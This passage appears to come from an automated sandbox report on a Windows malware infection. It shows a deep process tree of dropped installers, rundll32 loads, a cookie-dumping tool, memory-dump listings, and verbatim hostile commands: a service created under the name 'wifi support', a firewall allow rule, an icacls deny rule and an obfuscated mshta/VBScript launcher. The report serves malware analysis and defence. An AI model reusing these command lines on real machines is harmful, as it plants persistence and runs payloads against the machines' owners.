                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-5HTFR.tmp\LabPicV3.tmp" /SL5="$3035E,448783,365056,C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"
                                                                                                                              10⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Loads dropped DLL
                                                                                                                              PID:4896
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-Q6NT8.tmp\758____Dawn.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-Q6NT8.tmp\758____Dawn.exe" /S /UID=lab214
                                                                                                                                11⤵
                                                                                                                                  PID:5860
                                                                                                                                  • C:\Program Files\Java\NJGDJUSUUO\prolab.exe
                                                                                                                                    "C:\Program Files\Java\NJGDJUSUUO\prolab.exe" /VERYSILENT
                                                                                                                                    12⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    PID:4332
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-OSIVI.tmp\prolab.tmp
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-OSIVI.tmp\prolab.tmp" /SL5="$2033C,575243,216576,C:\Program Files\Java\NJGDJUSUUO\prolab.exe" /VERYSILENT
                                                                                                                                      13⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                                                                      PID:4592
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\11-6453d-9d9-ff99d-fddaefe2f0a44\Noshujorizha.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\11-6453d-9d9-ff99d-fddaefe2f0a44\Noshujorizha.exe"
                                                                                                                                    12⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    PID:3700
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a1-aa3bc-3c8-fba88-21b11e9b73a75\Tibakiqaeva.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a1-aa3bc-3c8-fba88-21b11e9b73a75\Tibakiqaeva.exe"
                                                                                                                                    12⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    PID:2100
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bxvbkpmk.yqc\GcleanerEU.exe /eufive & exit
                                                                                                                                      13⤵
                                                                                                                                        PID:6848
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\to4klf50.111\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                        13⤵
                                                                                                                                          PID:5432
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vb4bxde4.oim\ifhwwyy.exe & exit
                                                                                                                                          13⤵
                                                                                                                                            PID:6528
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\vb4bxde4.oim\ifhwwyy.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\vb4bxde4.oim\ifhwwyy.exe
                                                                                                                                              14⤵
                                                                                                                                                PID:6972
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                  15⤵
                                                                                                                                                    PID:4916
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                    15⤵
                                                                                                                                                      PID:6228
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\stlmrtcd.4qr\Setup3310.exe /Verysilent /subid=623 & exit
                                                                                                                                                  13⤵
                                                                                                                                                  • Blocklisted process makes network request
                                                                                                                                                  • Drops file in Drivers directory
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                  PID:5860
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\stlmrtcd.4qr\Setup3310.exe
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\stlmrtcd.4qr\Setup3310.exe /Verysilent /subid=623
                                                                                                                                                    14⤵
                                                                                                                                                      PID:6240
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-S7CRN.tmp\Setup3310.tmp
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-S7CRN.tmp\Setup3310.tmp" /SL5="$10576,138429,56832,C:\Users\Admin\AppData\Local\Temp\stlmrtcd.4qr\Setup3310.exe" /Verysilent /subid=623
                                                                                                                                                        15⤵
                                                                                                                                                          PID:6556
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-PS9B6.tmp\Setup.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-PS9B6.tmp\Setup.exe" /Verysilent
                                                                                                                                                            16⤵
                                                                                                                                                              PID:7552
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eufjq5e1.2dt\google-game.exe & exit
                                                                                                                                                        13⤵
                                                                                                                                                          PID:6560
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\eufjq5e1.2dt\google-game.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\eufjq5e1.2dt\google-game.exe
                                                                                                                                                            14⤵
                                                                                                                                                              PID:5992
                                                                                                                                                              • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                                "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",setpwd
                                                                                                                                                                15⤵
                                                                                                                                                                  PID:7912
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\e2xmg0t3.g2x\GcleanerWW.exe /mixone & exit
                                                                                                                                                              13⤵
                                                                                                                                                                PID:5188
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\s2cloxip.xik\toolspab1.exe & exit
                                                                                                                                                                13⤵
                                                                                                                                                                  PID:7336
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\s2cloxip.xik\toolspab1.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\s2cloxip.xik\toolspab1.exe
                                                                                                                                                                    14⤵
                                                                                                                                                                      PID:7472
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\s2cloxip.xik\toolspab1.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\s2cloxip.xik\toolspab1.exe
                                                                                                                                                                        15⤵
                                                                                                                                                                          PID:7672
                                                                                                                                                            • C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe
                                                                                                                                                              "C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe"
                                                                                                                                                              9⤵
                                                                                                                                                                PID:4668
                                                                                                                                                                • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                                  "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                                                                                                                                                                  10⤵
                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                  PID:4548
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3um1s350.pzz\google-game.exe & exit
                                                                                                                                                        5⤵
                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                        PID:2444
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\3um1s350.pzz\google-game.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\3um1s350.pzz\google-game.exe
                                                                                                                                                          6⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Checks computer location settings
                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                          PID:4880
                                                                                                                                                          • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                            "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",setpwd
                                                                                                                                                            7⤵
                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                            • Modifies registry class
                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                            PID:2272
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jr5ch2lr.nlr\GcleanerWW.exe /mixone & exit
                                                                                                                                                        5⤵
                                                                                                                                                          PID:5824
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\z1mewp4h.pl5\toolspab1.exe & exit
                                                                                                                                                          5⤵
                                                                                                                                                            PID:4304
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\z1mewp4h.pl5\toolspab1.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\z1mewp4h.pl5\toolspab1.exe
                                                                                                                                                              6⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                                              PID:4448
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\z1mewp4h.pl5\toolspab1.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\z1mewp4h.pl5\toolspab1.exe
                                                                                                                                                                7⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                • Checks SCSI registry key(s)
                                                                                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                                                                                PID:5172
                                                                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                    1⤵
                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                    • Modifies registry class
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                    PID:688
                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                      C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                      2⤵
                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                      • Modifies registry class
                                                                                                                                                      PID:5344
                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                    1⤵
                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                                                    • Modifies registry class
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                    PID:3748
                                                                                                                                                  • C:\Windows\system32\browser_broker.exe
                                                                                                                                                    C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                    1⤵
                                                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                                                    PID:4100
                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                    1⤵
                                                                                                                                                    • Modifies registry class
                                                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                    PID:5692
                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                    1⤵
                                                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                                                    • Modifies registry class
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:6088
                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                    1⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Modifies registry class
                                                                                                                                                    PID:4668
                                                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                    1⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:4648
                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                    1⤵
                                                                                                                                                      PID:5800
                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                      1⤵
                                                                                                                                                        PID:6824
                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                        1⤵
                                                                                                                                                          PID:6800
                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                          1⤵
                                                                                                                                                            PID:6256
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\B269.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\B269.exe
                                                                                                                                                            1⤵
                                                                                                                                                              PID:1708
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\B48C.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\B48C.exe
                                                                                                                                                              1⤵
                                                                                                                                                                PID:7412
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\B856.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\B856.exe
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:1608
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1348.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\1348.exe
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:7228
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\1974.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\1974.exe
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:580
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\1C63.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\1C63.exe
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:5272
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\1FEE.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\1FEE.exe
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:6724
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\23A8.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\23A8.exe
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:6372
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\23A8.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\23A8.exe
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:5724
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\26F5.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\26F5.exe
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:7836
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\26F5.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\26F5.exe
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:5556
                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                      icacls "C:\Users\Admin\AppData\Local\d86fbc8b-6335-472c-8bea-82ee222e2888" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                      PID:7812
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\284D.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\284D.exe
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:5820
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2C75.exe
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2C75.exe
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:6480
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2C75.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2C75.exe
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:7148
                                                                                                                                                                                      • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                        C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:7404
                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                          C:\Windows\explorer.exe
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:6064
                                                                                                                                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:7936
                                                                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                                                                              C:\Windows\explorer.exe
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:7652
                                                                                                                                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:7308
                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                  C:\Windows\explorer.exe
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:7672
                                                                                                                                                                                                  • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                    C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:7656
                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                      C:\Windows\explorer.exe
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:7676
                                                                                                                                                                                                      • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                        C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:5496
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\502B.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\502B.exe
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:6340
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\5210.exe
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\5210.exe
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:6808
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-H9868.tmp\5210.tmp
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-H9868.tmp\5210.tmp" /SL5="$40572,172303,88576,C:\Users\Admin\AppData\Local\Temp\5210.exe"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:2760
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-VNSHS.tmp\èeèrgegdè_éçè_)))_.exe
                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-VNSHS.tmp\èeèrgegdè_éçè_)))_.exe" /S /UID=rec7
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:6328
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\5EE2.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\5EE2.exe
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:7404
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\626D.exe
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\626D.exe
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:5008
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jkzmexdw\
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:7292
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fjqaobjz.exe" C:\Windows\SysWOW64\jkzmexdw\
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:3044
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                            "C:\Windows\System32\sc.exe" create jkzmexdw binPath= "C:\Windows\SysWOW64\jkzmexdw\fjqaobjz.exe /d\"C:\Users\Admin\AppData\Local\Temp\626D.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:7952
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                              "C:\Windows\System32\sc.exe" description jkzmexdw "wifi internet conection"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:8104
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                "C:\Windows\System32\sc.exe" start jkzmexdw
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:1564
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:7760
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\65E9.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\65E9.exe
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:1872
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\6926.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\6926.exe
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:7028
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\mshta.exe" VbsCriPt: cLose ( cReatEOBjecT ( "WsCRipT.SHeLl"). Run("CMd.EXe /C Type ""C:\Users\Admin\AppData\Local\Temp\6926.exe"" > ..\8EqO3YYWQYIWQCG.ExE&& sTaRt ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7 & If """" == """" for %D in ( ""C:\Users\Admin\AppData\Local\Temp\6926.exe"" ) do taskkill -Im ""%~NXD"" /F " ,0 , TrUE ) )
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:7196
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C Type "C:\Users\Admin\AppData\Local\Temp\6926.exe" > ..\8EqO3YYWQYIWQCG.ExE&& sTaRt ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7 & If "" == "" for %D in ( "C:\Users\Admin\AppData\Local\Temp\6926.exe" ) do taskkill -Im "%~NXD" /F
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:6588
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\8EqO3YYWQYIWQCG.ExE
                                                                                                                                                                                                                                                ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:7540
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                    "C:\Windows\System32\mshta.exe" VbsCriPt: cLose ( cReatEOBjecT ( "WsCRipT.SHeLl"). Run("CMd.EXe /C Type ""C:\Users\Admin\AppData\Local\Temp\8EqO3YYWQYIWQCG.ExE"" > ..\8EqO3YYWQYIWQCG.ExE&& sTaRt ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7 & If ""-p0Bd6WU~zT21V9yySfmmv7 "" == """" for %D in ( ""C:\Users\Admin\AppData\Local\Temp\8EqO3YYWQYIWQCG.ExE"" ) do taskkill -Im ""%~NXD"" /F " ,0 , TrUE ) )
                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                      PID:4340
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                    taskkill -Im "6926.exe" /F
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                    PID:6772
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\6CA2.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\6CA2.exe
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:7444
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\jkzmexdw\fjqaobjz.exe
                                                                                                                                                                                                                                                C:\Windows\SysWOW64\jkzmexdw\fjqaobjz.exe /d"C:\Users\Admin\AppData\Local\Temp\626D.exe"
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:3560

                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                • memory/336-238-0x0000028BEDC40000-0x0000028BEDCB1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/404-257-0x000002259D800000-0x000002259D871000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/688-202-0x000001F544C40000-0x000001F544C42000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/688-205-0x000001F544FE0000-0x000001F545051000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/776-114-0x0000000000400000-0x000000000045F000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  380KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/1076-255-0x000001EE70440000-0x000001EE704B1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

